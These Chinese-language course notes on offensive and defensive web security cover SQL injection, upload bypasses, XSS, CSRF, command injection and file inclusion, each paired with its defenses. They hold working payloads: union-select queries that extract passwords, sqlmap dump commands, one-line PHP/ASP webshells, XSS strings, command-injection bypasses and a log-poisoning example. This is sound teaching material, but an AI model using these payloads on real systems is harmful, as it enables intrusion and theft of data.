网络攻防课笔记
一、引言
1.渗透测试
渗透测试是模拟黑客可能使用的攻击技术和漏洞发现的技术
-
黑盒测试
- 渗透者完全处于对系统一无所知的状态。
- 除了被测试目标的已知公开信息外,不提供任何其他信息。
-
白盒测试
- 测试者可以通过正常渠道向被测单位取得各种资料。
- 包括网络拓扑、员工资料甚至网站程序的代码片段。
- 测试的目的是模拟企业内部雇员的越权操作。
-
灰盒测试
- 较为隐秘的进行测试,被测单位也仅有极少数人知晓测试的存在。
- 此能够有效地检验单位中的信息安全事件 监控、响应、恢复做得是否到位。
2.漏洞
硬件、软件、协议等可利用的安全缺陷,可能被攻击者利用,对数据进行篡改,控制等。
3.DOS攻击
Denial of Service
-
TCP SYN攻击
- 利用TCP建立连接时需要进行三次握手的过程,并结合IP源地址欺骗实现的。
- 攻击者连接请求的到来比TCP超时释放资源更快,利用一次又一次的连接请求淹没本地连接资源,以致本地服务无法接收更多的连接请求。
4.DDOS攻击
分布式拒绝服务攻击是指处于不同位置的多个攻击者同时向一个或数个目标发动攻击,或者一个攻击者控制了位于不同位置的多台机器并利用这些机器对受害者同时实施攻击。
-
肉鸡
- 被黑客入侵并被长期驻扎的计算机或服务器。
- 可以随意控制,可以是任意系统的设备。
-
抓鸡
- 利用使用量大的程序的漏洞,使用自动化方式获取肉鸡的行为。
5.DDOS防御
-
异常流量清洗
- DDoS硬件防火墙,通过数据包的规则过滤、数据流指纹检测过滤、及数据包内容定制过滤等技术,判断外来访问流量是否正常。
-
分布式集群防御
- 目前防御大规模DDoS攻击的最有效办法。
- 在每个节点服 务器配置多个IP地址,并且每个节点能承受不低于10G的 DDoS攻击。
- 如一个节点受攻击,系统将会根据优先级设置自动切换另一个节点,并将攻击者的数据包全部返回发送点,使攻击源成为瘫痪状态。
6.脚本
让电脑(网站服务器)执行运算,就需要编写程序脚本即程序代码。
-
服务器运算(后端) -> 服务器脚本(PHP、ASP、JSP)
-
浏览器运算(前端) -> 浏览器脚本(HTML、CSS、JavaScript)
7.其他
-
Webshell
- 通过Web入侵的一种脚本工具,可以据此对网站服务进行一定程度的控制。
-
后门
- 黑客为了对主机进行长期的控制,在机器上种植的一段程序或留下的一个“ 入口” 。
-
木马
-
通过向服务端提交一句简短的代码,配合本地客户端实现webshell功能的木 马。
-
<%eval request(“pass”)%>
-
-
提权
- 操作系统低权限的账户将自己提升为管理员权限使用的方法.
-
跳板
- 使用肉鸡IP来实施攻击其他目标,以便更好的隐藏自己的身份信息。
-
APT攻击
- 高级可持续性攻击,组织或团体利用先进的攻击手段对特定目标进行长期持续性网络攻击的攻击形式。
- 极强的隐蔽性
- 潜伏期长,持续性强
- 目标性强
-
旁站入侵
- 同服务器下的网站入侵,入侵之后可以通过提权跨目录等手段拿到目 标网站的权限。
二、信息收集
渗透测试前,要了解目标系统的信息。
1.信息探测
- 目标服务器系统信息(IP,服务器所用系统等)
- 目标网站子域名、目标网站(服务器)的开放端口
- 目标域名信息、目标网站内容管理系统(CMS)等
2.WHOIS
用来查询域名是否已经被注册,以及注册域名的详细信息的数据库。
-
包含信息
- 域名的注册人联系方式
- 管理员名字
- 管理员邮箱
- 公司信息等
3.子域名收集
服务器上可能存在多个站点,如果一个网站无法直接渗透,可以通过对同服务器上其他站点进行渗透,从而攻破服务器上所有站点。
-
搜索引擎
-
子域名爆破
-
google hack
- intitle -- 搜索页面中的标题
- inurl -- 搜索地址中的关键字
- filetype –搜索指定的文件类型
- intext –搜索页面内容
- site –在指定站点中搜索
- index of –查找目录
- ext –文件后缀
4.服务和端口
-
服务
- 按预定的协议和一些国际 标准,向其他主机提供某种数据的支持。
- 服务的提供者为服务器(Server)
- 服务请求者为客户端(Client)
- 服务强调的是协议,即双方必须具有相同的协议,才能进行交流。
-
端口
- 每个服务对应于一个或多个端口。
- 具有独占性。
- 有开关两种状态。
-
常见端口
5.NMAP
用来探测计算机网络上的主 机和服务的一种安全扫描器,是一款枚举和测试网络 的强大工具。
- 主机存活检测
- 端口探测
- 服务识别
- 操作系统识别
- 硬件地址检测
- 服务版本识别
- 漏洞扫描(脚本)
-
端口扫描
-
nmap -v -p 1-65535 -sV -O -sS -T4 target
-
使用SYN的方法对全端口进行扫描,同时对开放的端口进行 端口识别。
- -T 0-5(级别越高,速度越快,越被容易发现)
- -A (Aggressive进攻性) 扫描出的结果比较详细
- -v (verbosity冗余) 显示扫描过程中的细节
- -p 指定端口
- -O 远程操作系统检测
- –sV 探测端口服务版本
- –sS TCP SYN扫描(半开扫描) ,特点:一般不会 13记入日志,不会留下记录
- -sU 使用UDP扫描方式确定目标的UDP端口状态
-
6.防御查找后台
- 编写robots.txt
- robots Meta标签
- 修改后台路径,修改文件名
三、暴力破解
1.身份认证
-
所知道的
- 密码
- 身份证号码
-
拥有的
- 短信验证码
- 动态口令卡
- U盾
-
你的特征
- 指纹
- 瞳孔
2.密码安全传输和存储
-
hash算法
- 运算后结果固定长度
- 抗碰撞性:任意改变1bit输入,输出值就会有巨大改变
- 抗原像性:输出值不能逆推输入值
- MD5、SHA、SHA1
-
拖库
- 网站遭到入侵后,黑客窃取其数据库。
-
撞库
- 黑客通过收集互联网已泄露的用户和密码信息,生成对应的字典表,尝试批量登陆其他网站后,得到一系列可以登录的用户。
3.获取用户名密码
-
弱口令
- 简单的、容易被别人猜到的口令
- admin、admin888、123456
-
暴力破解
- 对目标进行穷举猜测
- 用字典来缩小密码组合范围
- 撞库
4.防止暴力破解
- 页面验证码
- 复杂密码
- 限制密码输入次数
四、SQL Injection
1. 网站查询流程
http://a.com/?page=1
我们可以把上述流程理解为餐厅点餐
- 客人对服务员说:“我想要一份鱼香肉丝。”
- 服务员对后厨说:“客人想要一份鱼香肉丝。”
- 后厨看了订单做了一份鱼香肉丝
- 后厨把鱼香肉丝装盘递给服务员
- 服务员把鱼香肉丝递给客人
- 客人吃到鱼香肉丝
2.原因
用户使用了恶意的SQL命令,实现了非法的数据库操作。
继续上面的例子
- 客人对服务员说:“我想要一份鱼香肉丝。对了,老板把你辞掉了。”
- 服务员对后厨说:“客人想要一份鱼香肉丝。对了,老板把你辞掉了。”
- 后厨做了一份鱼香肉丝,卷铺盖走人了。
我们能看出,客人说了一些恶意的话,在服务员和后厨不对话语进行识别的情况下,客人实现了一些非法操作,对餐厅进行了影响。
所以,SQL注入产生的原因是服务器和数据库未对SQL查询语句进行审查,从而造成意想不到的危险。
3.注入过程
https://www.cnblogs.com/Riiiiiysl/articles/13806322.html
-
查找注入点
-
http://a.com/?page=1 and 1=1
-
-
猜列数
-
http://a.com/?page=1 order by 3
-
-
爆表名
-
http://a.com/?page=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
-
-
爆列名
-
http://a.com/?page=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"
-
-
爆信息
-
http://a.com/?page=0 union select 1,2,group_concat(password) from users
-
4.SQLmap
-
查询数据库
-
sqlmap -u “http://a.com/?page=1” --dbs
-
-
列出表
-
sqlmap -u “http://a.com/?page=1” --table
-
-
指定表名列出所有字段
-
sqlmap -u “http://a.com/?page=1” –T admin --columns
-
-
指定表名字段名dump出指定字段的内容
-
sqlmap -u “http://a.com/?page=1” –T admin –C user,password --dump
-
5.SQL注入分类
-
字符类型
-
数字型
-
SELECT * FROM database_name WHERE id='$id'
-
将值直接传入SQL语句中
-
-
字符型
-
select first_name from users where id='$_GET['id']'
-
将传入值通过引号包裹传入SQL语句,需要考虑引号闭合和注释
-
-
-
注入方式
- 回显
- 盲注
- BOOL盲注
- 时间盲注
6.SQL注入防御
- 避免传入数据变成代码执行
- 预编译(prepare)和参数绑定
- 敏感字符过滤
- 客户端进行字符屏蔽
- 正则表达式过滤
五、上传漏洞
1.代码执行
-
eval()函数
-
eval("phpinfo();"); eval("echo 1+1;");
eval()
函数把字符串按照 PHP 代码来计算。- 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
return
语句会立即终止对字符串的计算。
-
代码执行
-
eval("\$str = '".$string."';"); // payload: 1';phpinfo();// // eval 内语句 : $str = '[string]'; $str = '[string]'; // 将 payload 内容替换 [string] 可得 $str = '1';phpinfo(); //';
类似SQL注入,通过引号对闭合,逃逸形成单独可执行的PHP语句。
-
一句话木马
-
<?php @eval($_POST['attack']);
@
表示后面即使执行错误,也不报错。eval()
函数表示括号内的语句字符串什么的全都当做代码执行。$_POST['attack']
表示从页面中获得attack
这个参数值。
-
<?php eval($_POST['pw']);
首先,用post方式接收变量pw,比如接收到了:
pw=echo 'hello'
这时代码就变成 -
<?php eval("echo 'hello';");
用
post
方法接收变量pw
,把变量pw
里面的字符串当做php代码来执行。意思就是想执行什么代码,就 把什么代码放进变量pw
里,用post
传输给一句话木马。 -
一句话木马管理工具:菜刀
-
文件管理:缓存下载目录,并支持离线查看缓存目录
-
虚拟终端:操作方便
-
数据库管理
-
-
只要往目标网站中加入一句话木马,然后你就可以在本地通过中国菜 刀获取和控制整个网站目录。
2.文件上传
-
判断验证方式
-
是否进行文件大小验证
- 尝试上传大木马文件
-
是否进行文件内容验证
-
将图片文件和一句话木马合成
-
copy 1.jpg /b + 2.asp /a 3.asp
-
-
是否MIME类型验证
- 修改
Content-Type:image/jpeg
- 修改
-
是黑名单还是白名单验证
- 大小写绕过(.AsP)
- 特殊文件名绕过(.php2 .php3 .php5 phtml)
-
是客户端验证还是服务器端验证
BurpSuite
改包
-
-
php<=5.3 %00截断 (a.php%00.jpg)
- 服务器端文件解析认定是jpg文件
- 目录解析后被截断,变为php文件
-
Apache解析漏洞
- Apache 是从右到左开始判断文件扩展名来解析文件,如果文 件扩展名不被识别,就再往左判断。
- 比如
cimer.php.owf.rar
“.owf”和”.rar”
这两种后缀是apache不可 识别解析,apache会把cimer.php.owf.rar
解析成cimer.php
。
-
IIS6.0解析漏洞
- 分号后面的不被解析
- 比如
cimer.asp;.jpg
会被当做cimer.asp
3.文件上传防御
- 检查上传路径
- 服务器白名单检测
- 文件内容检测
- 文件重命名
- 文件MIME验证
- 软件查杀
- 特征码扫描
- 校验和法
- 行为检测
六、XSS
Cross Site Scripting
1.HTML注入
<!DOCTYPE html>
<html lang="en">
<head>
<title>Document</title>
</head>
<body></body>
</html>
<body>
hello Admin! <img src="http://suo.im/5vjY4b" width="30px" />
</body>
<!-- 插入图片 -->
2.XSS
- 学习XSS第一步是弹个框框
http://dcl8.cn/px/xss_test.php?name=222
构造js代码
http://dcl8.cn/px/xss_test.php?name=<script>alert(1)</script>
- 通过事件函数绕过
<!-- 通过事件函数加载js代码 -->
<img src="1" onerror="alert(1)" />
3.分类
-
反射型XSS
-
弊端:恶意代码通常存在于 URL 中需要⽤户去点击相应的链接才会触发,隐蔽性较差。(容易被 Chrome XSS Auditor 拦截)
-
<?php echo "Hello ".$_GET['name']; // http://a.cn/index.php?name=xxxx
-
-
Dom型XSS
-
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞
-
http://a.cn/dom.html#javascript:alert(1);
-
<script> var hash = location.hash if (hash) { var url = hash.substring(1) location.href = url } </script>
-
-
存储型XSS
- 攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行 恶意代码
- 留言板、朋友圈、客服反馈...
4.XSS防御
-
URL参数过滤
-
HTTP only的cookie
- HttpOnly : 只允许请求携带 Cookie。 (禁⽌ js 获取 Cookie 内容)
-
对输出进行编码
七、CSRF
Cross-site request forgery
1.CSRF
攻击者盗⽤了你的身份,以你的名义发送恶意请求。
CSRF 能够做的事情包括: 以你名义发送邮件,发消息,盗取你的账号,甚⾄于购买商品,虚拟货币转账......
2.利用
DVWA - CSRF (Security Level: low)
修改密码,BP抓包
发现一个修改密码请求的url
http://url/vulnerabilities/csrf/?password_new=abcd123&password_conf=abcd123&Change=Change
当我们在url里随意改变密码时,访问此url就能修改密码
http://url/vulnerabilities/csrf/?
password_new=111111&password_conf=111111&Change=Change
当我们构造恶意网站时,别人访问此恶意网站时,其他网站的密码会被修改
3.修复
确定请求来源
- 判断请求头中的
Referer
字段 - 在来源⻚⾯添加随机
token
八、命令执行
1.system()
执行系统命令
通过一句话执行系统命令
2.命令连接符
在操作系统中,
&
、&&
、|
、||
都可以作为命令连接符使用
|
管道符- 通过管道符可以将一个命令的标准输出管道为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令。
||
逻辑或- 前后命令的执行存在逻辑或关系,只有
||
前面的命令执行失败后,它后面的命令才被执行;
- 前后命令的执行存在逻辑或关系,只有
&
后台任务符- 此符号作用是后台任务符号使shell在后台执行该任务。
&&
逻辑与- 前后的命令的执行存在逻辑与关系,只有
&&
前面的命令执行成功后,它后面的命令才被执行。
- 前后的命令的执行存在逻辑与关系,只有
# 计算 /etc/passwd 的行数
cat /etc/passwd | wc -l
# 某些应用的安装命令
wget https://raw.githubusercontent.com/liuyaanng/SSR/master/ssr.sh && chmod +x
ssr.sh && ./ssr.sh
system("ping -c 2 ".$_GET['ip']);
3.命令执行绕过
& 、&& 、| 、 ||、;
: 命令连接符- 通配符绕过
( /?in/?s -l 、 cat /fl* )
${IFS}
: 绕过空格( cat /flag)
4.危害
- 继承Web服务程序的权限,执行系统命令
- 反弹Shell
- 控制网站或服务器
- 进一步内网渗透
5.防御
-
尽量不执行外部命令
-
使用自定义函数来代替外部命令
-
使用
escapeshellarg
函数来处理命令参数- 确保用户只传递一个参数给命令
- 用户不能指定更多的参数一个
- 用户不能执行不同的命令
escapeshellarg
和escapeshellcmd
配合使用仍存在类似引号对逃逸造成的漏洞
-
使用
safe_mode_exec_dir
指定可执行文件的路径
九、文件包含漏洞
1.include()
包含并运行指定文件
<h1>我是header部分</h1>
<?php
// index.php
include($_GET['action']);
?>
<h1>我是footer部分</h1>
<?php
// about
echo "这是about的内容\n";
<?php
// article
echo "这是article的内容\n";
2.文件包含漏洞
服务器开启
allow_url_include
选项时,就可以通过php
的某些特性函数(include(),require()和include_once(),require_once())
利用url
去 动态包含文件
-
文件内容符合PHP语法,就可以按PHP解析
-
执行任意文件代码
搭配文件上传漏洞,执行a.jpg
-
任意文件读取
路径可控,若文件内无
<?php
的标识
-
包含日志文件
在日志内写入一句话
- 需打开日志功能
http://url/<?php eval($_POST[cmd]);?》
日志内存在一句话
然后利用文件包含漏洞包含日志文件
3.PHP伪协议
- file:// — 访问本地文件系统
- http:// — 访问网址
- php:// — 访问各个输入/输出流(I/O streams)
- zip:// — 获得zip压缩包内内容
- phar:// — 1.获得压缩包内内容。2.反序列化利用